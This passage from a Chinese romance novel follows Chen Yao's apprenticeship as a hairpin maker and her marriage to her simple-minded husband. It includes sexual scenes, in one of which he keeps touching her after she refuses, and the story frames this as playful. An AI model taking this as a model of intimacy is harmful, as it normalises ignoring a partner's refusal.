陈窈:“天还没黑,睡什么?”
裴照七有模有样地打了个哈欠,四肢像是没骨头般往她身上一趴,“我有点困,不如咱们早……”
陈窈扭身,止住他往前凑的脑袋,颇为无情地道:“我出去转转。”
裴照七来了精神,起身屁颠屁颠地跟过去,“我也去!”
“别跟着我。”陈窈觉得不够,又补道:“我往东,你往西!”
“哦。”裴照七不情愿地与陈窈分两路走开。
东边是学徒的工坊,本来堂主是让她明日来,但陈窈实在一刻都闲不住,想现在就冲过去见识一番。
陈窈来时巧得很,碰到簪娘们在休息,她顺势从袖中拿出洗过的李子分发。
大家忙碌了整个上午,咬一口香甜的李子过喉,和陈窈自然地聊起来,也熟络了很多。
她了解到大概三个月就能出簪子,开始用木头做的簪挺练习,再在簪首上面掐丝,掐制成梅花、飞鸟、龙凤等,熟练后再用像金、玉、玳瑁等材质制作做。
陈窈已经期待自己卖出第一支簪子时的样子了。
她转眼去案面上看看大家做的各式簪子,其中有一人还在做,她过去问:“要学多少时日才能做成这样?”
女子闻言,只是模糊地嗯了两声,又专心摆弄手下的金丝。
陈窈疑惑,又凑近一步问了问。
“你别跟她说话了。”其中一名吃完李子的簪娘打断她。
陈窈茫然地看向她,只听她说:“她舌头被割了,是个哑巴。”
吓得陈窈一惊,赶忙退后两步。
“她之前给人家当妾室,仗着自己会唱几首江南小曲受宠,口无遮拦地顶撞了当家主母,便把她舌头割了,没了宠爱只能被赶出府,要不是碰到堂主,现在还不知道在哪条街上要饭呢。”
陈窈听后,讪讪地道:“……堂主真是个善人。”
簪娘问她:“你呢?为什么来?”
陈窈理所当然地说:“想学手艺。”
话落,几人面面相觑,仿若听到天大的笑话般捧腹大笑。
陈窈站在原地发愣,有些不知所措,难道她们不是真心实意来学手艺的?
桌上耀眼的簪子钗环发着光,可见这里的确能学到她想要的。
陈窈回到屋里,心里杂乱无章的像一团野草,难道真被裴照七说对了,这里真不是什么好地方?
——学了又能如何,离开了堂内我们一无所有。
这句话反复在陈窈脑海徘徊,按此想,她们这些学徒像是被困于堂中,可她们每个人却又心甘情愿的模样。
……实在太可疑了。
裴照七回来就见陈窈忧心忡忡地坐在床榻上,女人眉心处紧拧,像是一个解不开的死结。
他嬉皮笑脸地往陈窈身边凑,一把环住她娇软的腰,“窈娘,我知道你担心什么?我都打探清楚了。”
陈窈满脸忧郁,水眸中凝着狐疑看他,“你清楚什么?”
裴照七从身后拿出刚才的小黄花,轻轻戴在陈窈耳后,颇为得意地说:“咱们住的地方离她们很远,任你在床上怎么叫她们都听不到。”
“???”
陈窈要被他气死了,拽起花朝他身上用力一扔,咬牙道:“你出去就为打听这个?!”
14. 学工
陈窈真没想到,她在整日焦心地想接下来日子怎么过的时候,这傻子竟色心不死,时时刻刻想着那档子事儿!
毫不知廉耻!
裴照七大眼瞪小眼,一脸不知所措,他被陈窈突如其来的生气给整蒙了,他只是想把自己的所闻分享给她,不想她在花颐村隐忍得那般辛苦,次次还需咬下棉被尖尖压声音。
见她不悦,裴照七习惯性地握住她的手,小心翼翼地试探她,“窈娘,你生气了吗?”
陈窈推开他的手,无情地甩给他一枕头,“罚你不许上床睡!”
裴照七被飞来的枕头砸中,头一歪,正好倒在边上的薄垫子上。
“……”
这一夜,陈窈背对着裴照七忧心忡忡,一边担心之后的生活一边又有些自责,也不知他躺在地上冷不冷,但转念又想她一人躺在这张床上,自在得很,叫他上来又要挤在一起。
陈窈便没开口,很快入睡。
床边冰凉的地上,裴照七将自己卷成一个虾米状取暖,抱不到陈窈的夜太漫长,待天快亮时,他才勉强闭目睡着。
烈日高照,阳光洒满床头。
裴照七翻个身准备继续睡,才发觉哪里不对,他猛然睁眼,床上已空无一人,眉梢染上的失落仿若珍稀珠宝被偷盗的惆然若失。
但多些欣慰的是——他身上多了一条被子。
裴照七坐起身,捧起这条带有他体温的薄被,倾身嗅了嗅。
嗯……香的。
是陈窈暖过身子的那条被,和她的味道一模一样。
裴照七唇边弯了弯,窈娘还是在乎他的,怕夜里冻坏身子,专门给他盖上被子!
越想越开心,他裹起薄被,带着傻笑翻身睡回笼觉。
另一边,陈窈早早与簪娘们一起用过早饭,开始在堂内的学习。
簪娘们一般会分两批,一批看店,另一批去工坊学艺。
光是看店就有很多学问,一骨簪挺的叫簪子,两股以上的叫钗子,各式都有不同的特点,要观察来客的喜好与年龄进行推荐,像处于豆蔻年华的女子大多喜欢耀眼的垂珠钗,凸显少女独有的灵俏,而成家的妇人则喜欢简单纹饰的簪子,富丽中透出淡淡的素雅之气。
但也有例外,这就需要察言观色了。
陈窈拿毛笔跟在大家身后观摩,记下堂内金钗银簪的名字,以及各色钗环独具一格的特点与寓意,最后清点数量和金额。
整个上午她累得腰酸背痛,午时叼着馒头时还在回忆所见所学。
大家用饭都叽叽喳喳地聊天,只有陈窈低垂着脑袋,她身边的簪娘一眼看破她的心事,戳了戳她胳膊,“吃饭就别想了,你再不吃一会儿肉全没了。”
陈窈回过神来,叹了口气,“太复杂了,我怕一时间记不住这么多簪子。”
簪娘语气轻快,“死记硬背也不是办法,你多几回亏就能记住了。”
陈窈感觉天快塌了,惊道:“啊?”
女人莞尔一笑,拍拍她的肩,“逗你的!”
“……”陈窈故作随和地笑了笑。
“等你真正上手就不怕了!”簪娘夹起一块肥瘦相间的肉放她碗边,“先吃饭吧,吃饱了才有力气干活。”
陈窈说了句谢谢,想着快点吃完好去温习一遍,不知不觉埋头吃饭的速度快起来,一抬眼发现大家正看着她,“怎……怎么了?你们吃啊?”
“哈哈……吃呢……我们吃……”
大家面面相觑却欲言又止,眼神看似四处乱飘,但无一不指向刚和陈窈搭话的簪娘,像是在催促她什么。
在这样的气氛下,陈窈实在吃不下饭,她放下筷子和她们说:“你们好像有话要说。”
“你……”簪娘犹豫了下,随后在大家眼神的施压下说:“你家男人怎么没跟着来啊?”
陈窈还以为她们要说什么呢,原来是问裴照七。她估摸着裴照七的作息,随口说道:“他在睡觉呢。”
大家缓缓点头,小声地窃语,“哦,睡觉啊。”
陈窈有些莫名,问她们,“你们问这个干什么?”
簪娘怕她多想,给她解释,“我们就是觉得你家男人又高又壮,看起来特别听你话,你真是好福气!”
陈窈皱了皱眉,这算什么福气?
见她们这般没见过世面的样子,陈窈大抵心里有数了,“你们都没成亲吗?”
被陈窈猜对了,大多数人都颇为遗憾地点了点头,有一小部分没点头也没摇头,还有一部分则是先摇头后又点了头。
“……”
“我们大多还未成家,其中部分虽成过亲但都大多不是被丈夫抛弃,就是不得宠在夫家受欺负,早对这些死心了,但看你家男人不太一样,就想着问问。”簪娘说。
“他啊……对我挺好。”
如果和她们这些经历比起,裴照七除了傻点色点,对她真的挺好。
陈窈这么一说,簪娘们顿时向她投射出艳羡的眼神。
“我就说还是有好男人!”
“不是没有好男人,是咱们没福气遇到啊。”
“小娘子,你命真好!”
陈窈:“……”
但裴照七和好男人应该没什么太大的联系,在她心里堪堪算个可嫁的男人吧,好男人起码是那种玉树临风,学富五车,还要家财万贯的公子。
也就第一条他能勉强沾边。
陈窈撇撇嘴,真不懂这些没见过男人的女人们。
用过饭后,陈窈开始了正式的学习。
由堂主最有经验的簪娘来讲习,她还以为堂主会来给她们上课,但大家说堂主只在成品后才会指点一二,刚开始都要从最最最最基本的学起。
“抽成如发丝般细的丝,再用掐、填、垒、编等技法,将金丝弯曲成各式形状,而在掐丝前需要把单根的素丝搓成所需的花丝,这就是做簪娘的第一课——搓丝。”
于是,陈窈在搓丝板上搓了一下午的丝。
累得她手骨稍微往反方向转都疼,更别说一直低垂的头了,肩颈发酸得很,陈窈一回去直奔床,她连鞋都没脱,像个小番薯埋在被上了一般。
裴照七走过去帮陈窈把鞋子摘了,轻拉起她搭在床外的脚踝,往床里挪,让她躺得舒服些。
随后,裴照七侧身躺她身边,脸挨她很近,炙热的气铺在她的脸颊,“窈娘,你今天很累吗?”
“嗯。”陈窈闷闷的声音传来,听上去疲惫极了。
裴照七双唇撅起,亲了亲她光洁的额头,像动物给对方舔舐毛发。
“别闹了。”陈窈支起手臂,将他的脸往外推。
裴照七哪是
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她那小劲儿能推得动的,脸被她弄变形了,愣住没离远一分。
陈窈索性转了个身,背对着他。
好一会儿她身后都没动静,就在陈窈以为裴照七能老实地待着时,她被裴照七翻了身,背朝屋顶,面朝床。
然后……裴照七就这么骑上她来了。
陈窈闭上的眼皮猛地瞠起,她想骂娘的心都用了。
下一刻,微凉的指腹轻捏住她的后脖,沿着颈椎缓缓地揉按。
陈窈一僵,眨了眨眼,他是在给她按摩?
男人手法轻柔,将她酸痛感驱散,陈窈舒服得眉心渐渐舒展,一天疲累似随风而散。
半晌,男人从她身上下来,他压根不敢把整个身子压在她身上,之前在床上时她就嫌弃过他重,这次他都是跪着的,只留了一点点重量。
他面对着陈窈问:“窈娘,你舒服吗?”
陈窈被他按得精神都恢复了些许,不再像个没骨头似的往床上一躺,她坐起身来,对上裴照七求夸奖的视线,若有所思的顿了顿。
“啵唧——”
陈窈双唇嘟起,朝着他脸侧亲了好一大口。
裴照七瞳孔放大,又惊又喜,脸肉眼可见得红起来,但嘴上依旧毫不知羞,另一边脸贴过去,“这边也要再亲一口!”
陈窈敛住笑,羞涩说:“……没了,只有一下。”
“留着下次!”裴照七抱着她,依旧不死心。
多年老夫老妻,这一刻却跟情窦初开的少男少女一样。
陈窈起身喝水时,嘴角不自觉地流露出甜蜜的笑容,裴照七看她喝水,肚子却响了,“我饿了。”
不提陈窈都忘了,她一天有吃有喝,裴照七在偏房却是饿了一整天。
也怪她,忘了给他带点饭回来。
陈窈心里泛起内疚,但累了一天她实在不想动,“那怎么办?你吃点李子先垫吧点,等明天早饭?”
裴照七双眉微皱,大眼睛直直看着她,明显不情愿再饿着。
无奈陈窈只能带他去厨房看看,些许有剩下来的菜窝窝,要是什么都没有,下碗面条吃也是好。
厨房剩的吃食还是蛮多的,这傻子吃得都快顾不上了,生怕漏一口花生酥,掉一口粥。
裴照七饿了一天,吃得狼吞虎咽,酥皮的掉渣落在他嘴边,陈窈拿起绣帕边给他擦嘴,边温柔地轻道:“慢点吃,慢点吃。”
“窈娘,你真好。”
裴照七将陈窈没他带饭这事抛之脑后,满眼都是陈窈对他柔情似水的样子,乐嘿嘿地说。
陈窈笑了笑,她是怕他噎死,她可不想年纪轻轻就守寡。
裴照七大口地吃起来,陈窈擦的速度都赶不上他掉下来的碎渣,眼见着花生酥空了盘,他又抓了一把桂花豆腐往嘴里放。
“……”
他这么肆无忌惮地吃,陈窈担心有人过来,“你悠着点,咱们是偷吃,你懂什么叫偷吗?!”
裴照七嘴里塞得满,摇头说:“不懂。”
“偷就是不能被别人发现你来过。”陈窈看着桌上零七八散的食物,给他慢慢解释,“懂不?”
裴照七咂吧着嘴,似懂非懂地点头说:“哦,那我把剩下的……”
话还没说完,被门外一道诡谲的“咯吱”打破,阴森森的风从门缝吹来。
15. 吃醋
陈窈一激灵,警觉地捂住还在咀嚼的裴照七,她食指放到唇中,示意他别出声。
裴照七顿住:“唔……”
一秒、两秒……
确定没有任何动静后,陈窈紧绷的心渐渐平复,松开了他。
裴照七猛咳嗽两声,大口地呼吸,“窈娘,我快喘不上气了。”
陈窈顾不上他,神色凝重地出门,树叶摇曳发出飒飒的声响,凉风扫过,卷起她裙边。
四处空无一人,门像是被风推开的。
陈窈围着厨房谨慎地转了一圈,绕到后门时她惊诧地发现……后门莫名地敞开了。
风吹得有些阴飕飕的,她担心因举止不当,会被有心人看到,去堂主面前揭发,那样的话她离被赶出金禧堂就不远了。
裴照七此时吃饱喝足,只想拉着她回去睡觉。
他装模作样地揉了揉眼睛,伸了个长长的懒腰,“我这次是真困了,窈娘,没什么人,咱们回去睡觉吧。”
许是她真想多了。
正当陈窈放松警惕时,身侧忽地一道冷沉的声音蓦地响起,“你们在干什么!”
陈窈猛然回头,那人的头颅像是半垂着,阴沉的轮廓与溶溶夜色融为一体。
她压着步子缓缓走近,待看清是何堂主后,好不容易平稳的心脏又怦怦地跳动起来。
“你们为何出现在此?”何岱语气不佳,像是迫不及地要知道他们的行迹。
陈窈老实交代前因后果,字字句句诚恳。
何堂主扫视过裴照七唇边没擦干净的渣子,像是在审视她言辞的真实性,半晌后冷声问:“堂中规矩是何?”
陈窈心一紧,道出,“堂中严禁夜半出寝。”
金禧堂最重要的一条规矩便是——无事不出堂,尤其是半夜。
“堂中出现过小偷,不得不防。”何岱道明缘由,又言:“你被抓住过夜半时刻出房,若是堂内少了些贵重物品,你难辞其咎。”
陈窈意识到严重性,低声说:“我知错了。”
何岱:“该罚!”
闻言,裴照七挡在她前面,挺起胸膛,“窈娘是为陪我,要罚就罚我!”
何岱不吃夫妻情深这一套,他重重地说:“都该罚!”
“……”
冷月如钩,静静地俯瞰偏房的灯火通明,晚风隔窗呼啸而过,投射出一高一矮的剪影。
“五百根细丝,要搓到何年何月啊?”陈窈捶了下发酸的肩膀,语气中透露着疲累。
搓丝的工作又累又单调,尤其要注意在搓动的过程中,需保持力度均匀,避免丝线断裂或粗细不均。
通常是刚入门的簪娘会进行大量的练习,搓制出许多细丝供人掐丝使用。陈窈因受惩罚,所投入的是别人的数倍。
裴照七自责道:“都赖我,连累了窈娘。”
若不是他执意要去厨房偷吃,窈娘也不会受苦。
“可不就是你……”陈窈的叱骂刚要夺口而出,一抬眼对上裴照七那双纯粹如珠的双眼,她心便如千年冰山刹那消融,双唇嗫嚅,改口说:“我……怎忍心让相公饿肚子呢?”
裴照七紧抿的唇略微扬起一个僵硬的弧度,他笑不出来,因为窈娘在说假话哄他,她很累,很辛苦,都赖他。
他问:“你困了吗?”
陈窈眼帘垂垂,很缓慢地摇着头:“我不困。”
蜡烛照映斑驳的木桌,闪着微弱的光芒,点亮屋内一道挺俊的身影。
裴照七独坐在桌前,在搓丝板上一根根地磨动细丝,一只手酸了他就换另一只,目光时而望向边上的床榻。
陈窈侧脸如嫩莲,沉沉睡去。
裴照七揉了揉发胀的眼,继续不知疲倦地搓。
一夜过去,天露微光。
“啊——”
裴照七被这一声惊醒,眼睛还没睁开,怀中猛地扑进软软的身子。
“相公,这些都是你搓的吗?”陈窈抬起下巴,盛满浓情的眼神,望着裴照七迷迷糊糊的双眸。
她起床就看到桌上摆着整整齐齐的五百根丝,昨晚略教了裴照七几下,本也不指望一个傻子成事,可他不仅一根不差还根根均匀,太出乎她意料了。
裴照七熬到深夜,旁边的蜡烛都被烧没了一大截。
陈窈的欣喜带着对裴照七的几分疼惜,她前一天还在和簪娘们说裴照七不算什么好男人,今天他就让她大开眼界,说不出的感动全都凝在她的眼眸。
“嗯。”裴照七草草地哼了声,双手圈住她的细腰,扣在自己的温热的胸膛,紧密不分。
陈窈轻抚他下巴上冒出的胡茬,粗糙的质感划过指尖,“累坏了吧?”
裴照七攥住她的小手,将其按在唇上,反复轻啄她粉红的指,“为窈娘值得。”
陈窈笑得甜蜜,埋在他的胸前,抱了他好一会儿,“今晚上床睡吧。”
裴照七一喜,他已经好几天都没搂着她睡了,每晚都想她想得紧。
陈窈:“开不开心?”
“开心!”
裴照七何止开心,他激动地一个翻身将陈窈压到身下,用灼热的气息使劲去撩拨她的脖子。
陈窈又痒又扎,双手费劲地推自己身上犹如一座山的重量,“可以了,你快起来!”
而她长颈无意间的侧躲,让修长的雪肤毫无保留地暴露在裴照七的视线中,他双眸一紧,充耳不闻,更加放肆地掠夺她的香气。
窗外的日头高照,斜斜地泼洒在两人交缠在一起的身子,青天白日下,陈窈心里泛起羞涩。
“相公!”陈窈五指插进他的发丝,微微用力揪拽,企图唤起他最后一点理智。
裴照七头皮吃痛,既然老婆不愿意,他无奈只能隔着碍事的布料,捻揉了一番她的软莹,解了解馋。
“你等我回来。”陈窈面色染上一抹红润,拉平皱起的衣摆,坐起身说。
裴照七克制又不舍地亲了她一口,“嗯!我洗干净躺在床上等窈娘!”
陈窈:“好……”
按堂主的吩咐,陈窈拿着五百根细丝去工坊供大家使用,何岱给足她面子,没说细丝因何来,嘱咐大家好好用丝便走了。
陈窈今天跟着学新一门技艺——掐丝。
掐丝便是依据设计好的纹样,用镊子夹住细丝的一端,按照纹样的弯曲去转折,最基础为圆圈漩涡样式。
听上去很容易做到,但在此过程中,镊子需保持直立,横要平竖要直,顿错要利落,找准位置后,用力适度,一步到位,避免出现粗细不均或形状不规则。
许是因祸得福,陈窈的手很稳,她学下来格外的顺利。
教陈窈的簪娘拿起她掐好的龙凤纹样,细致地看了看,“小娘子,你手好巧啊。”
陈窈望着自己的小小成品,泛起丝丝笑意,嘴甜地说:“是您教得好。”
谁都喜欢带通透还会说话的徒弟,簪娘颇为赞赏的目光投落在陈窈身上,“初次能做得如此出色,你很有这方面的天赋,勤加练习,相信不久便会出成,挣到银子。”
“真的吗?”
陈窈听到银子入口袋,眼睛亮了亮,但只是一瞬她又低落,成为一名真正的簪娘还需要一段漫长的路,她一个出生在村头的丫头能行吗?
另一位簪娘跑来观摩,回想起说:“我第一次做完拿到堂主面前,他只说了一个字。”
陈窈猜测:“好?”
簪娘:“丑!”
话落,离着近的簪娘们全都笑成一团,“哈哈哈哈哈哈哈哈。”
陈窈在这样的欢乐氛围的带动之下,信心倍增,暗暗下定决心要更加努力。
簪娘看完还给她,“你拿给堂主看,他会告诉你怎么做。”
陈窈:“好。”
——
入夜,小风摇动树影,零零散散的雨点忽然飘落。
裴照七躺床上等得困了,也不见陈窈回来的身影,雨滴轻叩窗棂,他睡意散去,拿上伞准备去接陈窈。
人还未出屋,就瞧见雨幕中出现两道影子,各执一把伞,隔着细密的雨丝,都阻挡不住二人相谈甚欢的热情。
裴照七眼神眯了眯,锁定在陈窈头侧的珍珠钗子上。
出门时陈窈还头顶空空,回来时却有了闪耀的头饰,视线再往她旁边的何岱一滑,裴照七瞬间了然于心。
男人不仅送她发钗,还送她回来
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。
裴照七骨节微微突起,青筋隐约显露,他手中的伞柄似有被他碾碎之势。
陈窈向堂主挥手告别,收起伞到裴照七面前,眼带着不同于以往的笑颜说:“相公,你是要来……”
她话没说完,只听“啪”的一声,裴照七将伞狠狠摔落到地上,气愤地转身离去。
陈窈被他这一举动怔了几秒,立即皱眉道:“你胡乱发什么脾气!”
“我都看到了!”裴照七胡乱地拍打双眼,理直气壮地喊。
“什么。”陈窈长睫疑惑地轻眨。
裴照七眉毛一横,气呼呼地说:“你对他笑了!”
他?笑?
陈窈顿了顿,才反应来他说的是何岱,她轻描淡写说:“人家堂主冒着大雨送我回来,我礼尚往来回一个笑,怎么了?”
“他送你东西作甚!定是没安好心!”裴照七瞧着她头上的钗子就晃眼,恨不得扔在地上踩碎。
陈窈不以为然,她做好的掐丝堂主看后肯定了她的做功,送她钗子是种鼓励与赏赐,既有天分要更加勤奋,以及昨日对她的惩罚有些重,叫她别往心里去。
“堂主赏罚分明,不是你想的那样。”陈窈将前因后果娓娓道来,不加一点偏颇。
但听到裴照七耳朵里却不是那么一回事,这种打一棒子给一甜枣的行为非常可耻,“你昨日还不是那样说的。”
陈窈确实怀疑过何岱不是好人。
裴照七半夜饿肚子悄悄溜进厨房,情有可原,可整个堂都是何岱的,他有什么可偷偷摸摸的?
陈窈曾在话本中读过,有些卖香水的商人为吸引顾客,专门提炼处女的汗液来制香,等她们没有利用价值再残忍杀害,所以经常能看到商人早出晚归,偷偷摸摸地练香,不敢叫人发觉。
不过陈窈今日一想,她们卖金钗银钗靠的是巧夺天工的手艺,与这些怪谈相差甚远,何况堂主对她赏对她罚,全都是经营金禧堂的良苦用心。
至于那扇打开的后门嘛……在堂主赏给她闪着金光的钗子时,她早就抛之脑后。
对此陈窈打消疑心。
见裴照七一脸较真的样子,她懒得再理他,“和你说了有什么用,你一个傻子什么也不懂。”
“我才不傻!”裴照七双肘愤懑地抱在胸前,眉头向下压,“他不是好人!”
陈窈却乐了,笑着看他,“我家傻相公是在吃醋吗?”
裴照七一本正经地说:“没有,我晚上没吃元宝。”
陈窈:“……”
此醋非彼醋。
明白裴照七在吃醋后,陈窈坐在床边,悠悠跷着腿说:“吃醋的意思是,你看到我与另一个男人有说有笑而不满。”
裴照七似乎明白了,点点头认可,“嗯!那我晚上就吃元宝了。”
“……”
裴照七既承认他是吃醋,她也解释过了,那就洗洗睡吧。
她刚铺开床褥,身后的人又重复了一遍,“他不是好人!”
陈窈无奈于他的胡搅蛮缠,轻笑问:“那谁是好人啊?”
裴照七拍拍胸脯道:“我!”
陈窈:“既然你是好人,今天你就在地上睡吧。”
裴照七:“……”
早晨才争取来的上床睡,能抱着陈窈睡觉,他当然不愿意再睡地上。
心心念念的老婆摆在面前,裴照七顾不得男人的面子,语气软下来顿时倒戈,“我是坏人,最大的坏蛋!”
陈窈像是早料到他会改口,唇角无情地勾起,“我不和坏蛋睡一起。”
裴照七:“……”
女人变脸变得太快了。
陈窈一个人自在地躺在床上,她不是真的和他生气,只是烦裴照七因为这点小事和她斤斤计较。
她想着两人从前在花颐村的和睦日子,渐渐进入梦乡,呼吸均匀又平稳。
直到身上盖着的被子被掀开,寒气灌入,背后阵阵的窸窣声将她吵醒。
陈窈转了个身,半阖着睡眼睨他。
裴照七身子一滞,两人大眼瞪小眼半刻,随后他喉结滚了滚,堂而皇之地询问:“我能上床睡吗?”
陈窈:“……”
16. 开张
月儿高挂,细碎的光洒不进偏房一点,屋内似被墨水浸染,漆黑一片。
空气沉寂片刻后,陈窈淡淡说:“你已经在床上了。”
裴照七从后拥着她,热热的身子与她严丝合缝地贴着,委屈巴巴地道:“外面下着雨,我想给你送伞却被别人抢先一步,我心里不爽,不喜欢看窈娘对别人笑。”
“不喜欢你就可以发这么大的脾气?”
陈窈想到他冲着她气哄哄地把伞摔在地上的样子,就不想轻易的原谅他。
“是我的错。窈娘,你别不理我。”
裴照七抱她更紧,但陈窈依旧对他的示好不为所动。
裴照七泛起坏心眼,故意用脸去蹭她柔软的脖颈处,女人这里的皮肤又细又滑,如同软乎乎的白玉豆腐,他尚未使全力攻势,陈窈被痒得溃不成军。
陈窈:“好了好了,原谅你了,快起来!”
裴照七松开她,大掌抚上她的侧脸,轻柔地摸了摸,“窈娘,你只能对我笑,好不好?”
陈窈被他带侵略性的男性气息萦绕,浅浅地嗯了声。
裴照七:“你只能和我一个人好。”
陈窈:“只和你一个人好。”
裴照七的情话说完了,他开始急切地办正事,一股子炙热的燥意直往陈窈的后脖钻。
“窈娘,我好想你。”
裴照七急促的呼吸喷洒,吸吮她白嫩如玉的颈,宽厚的手掌绕到她饱满的前胸,指腹来回拨弄她衣前的扣子,等待她的准允。
陈窈:“……”
裴照七见她不语,嗓音带难忍的低哑,“难道你不想吗?”
陈窈撇撇嘴,隐约感觉他这个想是想要的想,而不是想念的想。
但算算日子,是把他饿了有好一阵了,自来嬅京两人已是许久没亲热,今早就有憋不住的架势了。
陈窈缓缓转身,似盛满水波的眸子一挑,柔媚地抚住男人脸庞,双唇轻启——
“嗯,我也想你了,相公~”
昏暗一片,依着女人勾人心弦的声色,和柔曼的身姿软软一卧,等待与之交融。
裴照七身体的火热被陈窈一点即燃,男人“噌”地翻身将她压在身下,健壮的胸膛抵住,双臂撑在两侧,牢牢萦绕。
陈窈嘴边一勾,小手攀附而至他的手臂,仿若一根羽翼慢慢往上撩,摸到他紧实的肌肉,散着隐隐温热,她这才发觉裴照七把上衣扒了。
男人赤身,眼底如墨般浓稠的欲流出,他勾起陈窈腰窝两条细细的带子,三两下拨开碍事的衣物,扎进这温香软玉。
这床比花颐村的比起,不仅大还结实,裴照七更是在大床上伸展得如鱼得水,变着花样折磨陈窈。
他一把拢过她的两条纤纤玉腿,面朝自己而坐,最后双手轻掐住她腰两侧。
娇滴滴的嘤咛传来,盖过床板发出的微弱声响……
因常年劳作,男人宽厚的手掌留下一层茧子,粗粝的触感摩挲过她柔嫩的肌肤,酥麻感从脊尾直冲后脑。
陈窈紧蹙双眉,面染绯色,红红的眼尾有落下浅浅的泪痕,她早口干舌燥,像条脱水的鱼儿,不断被怕打在旱地,连连叫渴。
不知过了几个时辰,天色泛起一抹亮,显露鱼肚白。
裴照七借着亮,擦了擦她脸上的汗,眼含怜惜地亲了下她的耳垂,“好听,比拨动古琴还要悦耳。”
陈窈累得不成样子,似感耳边发痒,不悦地哼唧了一声。
裴照七支起手臂,不同以往的目光落在女人莹透的脸上,饶有兴趣地去轻挠她的痒肉,“窈窈,要一直跟我在一起。”
陈窈睡得迷糊,不舒服地又轻哼了声,嗯哼的呢喃声像似在答应他。
裴照七勾起唇角,很满意她的回答。
——
万木凋零,凛冽萧条。
转眼间入冬,陈窈做学徒已半年有余,堂中多了许多和她刚开始一样懵懂,带着不同的遭遇入堂学习,但她早把对堂中解不开的谜团置之脑后,全心全意地打造金簪。
金禧堂的簪子在这一片颇有名望,许多来客甚至都不与她多攀谈,直接让丫鬟掏银子买。
这样做的大多都是老顾客,她们信任某位簪娘的手艺,一打眼便知道出落谁手,长此以往地光顾。
但……目前还无人买她做的簪子。
陈窈不解,论下功夫她不比别人少,日日夜夜练习缠丝,将手都磨出水泡也不敢怠慢,论天赋她不输任何人,短短时间内融会贯通,出成的簪子精致入微。
夜晚,陈窈对比图纸反复打量,簪杆坚/挺圆滑,簪首金花纹包裹一颗珍珠,在光下如同洒落一层霞光。
入柜前,堂主对她的簪子指点过一二,认其做功并无瑕疵,镶嵌得完美无缺,陈窈暗自窃喜过几瞬,但随着她的簪子无人问津,惆然一点一点地涌上眉梢。
裴照七在床上翻了又翻,等她等得有些急,桌上的油灯亮着灼灼光芒,却迟迟不见有熄灭的迹象。
陈窈打了个哈欠,又画了幅图纸,加大了珍珠衬托出至纯的美。
正画着,一条厚毯披在她身上,紧接腰身被裴照七结实地环住,她拍了拍放在腰上的大手,细声绵语,“你先睡吧,我再琢磨会儿。”
裴照七下巴搭在她肩头,用脑袋蹭了蹭,“明天看也不迟。”
陈窈撂下毛笔,叹息了声,“你可知咱们囊中羞涩,没银子进口袋?”
一天卖不出簪子一天就没有收入,堂内虽无任何花销,但好财的陈窈才不会拘泥于此,她不光要做得出色,还要用这个赚大钱,把她的钱匣子添得满满当当,这般入睡她才安心。
这些心里话同裴照七讲,他当然不会懂,陈窈也没指望他能为自己排解一二。
也不知道裴照七盯着什么,良久都没讲话。
陈窈催促他,“要是睡不着,放几块炭火在旁,别冻着。”
偏房本就别的地方要冷些,每人领取的炭火有限,加之陈窈和裴照七两人算一人份,他们为了省下来等大雪时再用,不得在床上抱着相拥取暖,虽说平日里裴照七也是这么抱着她睡的吧。
现下陈窈还有好些时候才睡,叫他用点炭也无妨。
裴照七眼珠转了转,“我还没看过窈娘做的簪子呢。”
陈窈和他讲过簪子是用来做什么,他除了对银子没什么数外,其他记得还挺牢。
他既要看,陈窈不嫌弃他看不懂,她打开盒子,里面躺着一支精美的簪子,泛着光泽。
裴照七发出一声赞叹,他小心翼翼从中捧起这支簪子,摸上去冰凉光滑又有几分重量。
陈窈嘱咐他,“小心点。”
裴照七拿近看了看,随后视线落到陈窈还未拆的发髻,她乌黑的秀发顺滑如瀑布,衬着白皙的长颈,散发丝丝香气,很是动人。
男人眼神一闪,轻柔地将簪子别在她头上。
陈窈惊了惊,还以为他只是想看看,没料到他会给自己戴上。
簪子未经买卖却先被戴上了,堂内明令禁止这样做。
“这是给客人的,怎么能自己先戴呢!”说着,陈窈伸手就要摘下来。
“如若自己不试试,怎知好不好看呢?”裴照七按住她的手,轻扬下巴,有理有据地说。
陈窈嗤笑一声,“你什么时候也习得这些道理了?”
裴照七起身拿面铜镜放在她眼前,轻轻搭在她的薄肩,“窈娘,你看。”
铜镜中映出女人未施胭脂的姣好容貌,乌发侧面别支簪子,在光的笼罩下的金簪尤为扎眼。
陈窈仔细端详起自己与簪子,若有所思。
好看是好看,但簪与人分离。
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单看人,人美;单看簪,簪巧。
簪子的佩戴讲究在保留女子原本的姿色外,增添一抹韵色与美感,不会让人瞧去,一眼落在绝美的簪子而忽略女人的美,而是将簪子融合,与美人一体。
正所谓,簪为人添色,人显簪之美。
这一佩戴上去,陈窈知晓问题在哪儿了!
她制作的簪子正如堂主说的那般,单看簪子挑不出任何问题,但也绝不会衬托女子的气质,簪与人分离,不如不去雕琢。
如此一来,她需做的就是化繁为简!
陈窈眉间的忧愁之色散去,转而喜笑颜开,“我知道要怎么改了!”
裴照七望着镜中的陈窈,笑了笑说:“美簪配美人。”
陈窈微愣,这话是她之前同他讲过的,说售卖时都要说些漂亮话来吸引来客,他竟把这话往她身上按。
明知道是男人哄人的话,她还是难免脸一红。
其实哪里有他说得那么美,只不过是她不常佩戴首饰,忽地戴上去有些新奇罢了。
陈窈将簪子摘下,轻轻擦拭放了回去。
裴照七还从身后拥着她,像从她身上取暖似的眷恋,“那现在可以睡觉了吧。”
陈窈嗯了声,耸了下肩推他,甜蜜一笑,“起来呀。”
裴照七对这事向来心领神会。
下一秒,男人俯身弯腰,单手搂过陈窈的后膝,一把将她扛在肩头,往床上阔步走去。
陈窈躺下,手帮他扯去碍事的外衣,娇滴滴地靠在他怀里低声提醒道:“快些吧,明日我还得早去做簪呢。”
裴照七粗壮的气息在她身上胡乱拍打,哑声嗯了下,嘴上说是答应她,但该省的步骤一个都没剩。
直至陈窈通体潮红,汗珠从光洁的美背顺着流下,她哼唧叫喊,“不……不,不是这个快……”
翌日,陈窈虽比预想的迟,但依旧是第一个来工坊开工。
赶在店铺开张前,陈窈将簪首重新做了,替掉累赘的珍珠,用金丝勾勒出一个精致却不失美感的纹。
陈窈像捧着稀世珍品一样,轻柔地放在盒里,准备去店里入柜。
昨晚和裴照七缠绵得激烈,今早起来双腿还是打着颤,一步一走都比平日里慢了好些,看上去别扭许多。
坊中一位年纪轻轻的簪娘瞧她不对劲,神色颇为担心地喊住她,“你腿抽筋了吗?”
陈窈愣了下,心底不由冒出窘意,含糊着低声应,“对……可能起太早,不小心抻到了。”
